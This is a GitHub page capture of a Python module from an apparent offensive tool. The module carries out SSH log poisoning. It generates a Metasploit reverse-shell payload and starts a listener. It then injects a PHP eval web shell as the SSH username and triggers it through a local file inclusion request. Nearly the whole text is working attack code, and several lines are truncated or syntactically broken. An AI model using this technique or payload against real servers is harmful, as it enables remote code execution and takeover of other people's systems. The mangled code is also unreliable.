Skip to content
Switch branches/tags
Go to file
Cannot retrieve contributors at this time
from os import system
from urllib import parse
from .utils import listener, attack, colors, cook, msf_payload
#TODO: Not working properly. Fix this
class SSHLogs:
def __init__(self, target, location, relative, cookies): = target
self.location = location
self.relative = relative
self.cookies = cookies
def execute_ssh(self):
lhost, lport, shell = msf_payload()
handle = listener(lhost, lport)
with open('/tmp/{0}.php'.format(shell), 'r') as f:
payload_stage2 = parse.quote(
payload = "<?php eval(\\$_GET['code'])?>"
print(colors("[~] Start SSH Log Poisoning ...", 93))
host = parse.urlsplit(
system('/usr/bin/ssh "{0}@{1}"'.format(payload, host))
print(colors("[~] Executing Shell!",93))
""" Attempt traverse """
self.location = self.location + '&code={0}'.format(payload_stage2)
if self.cookies:
f_cookies = cook(self.cookies)
attack(, self.location, cookies=f_cookies)
attack(, self.location)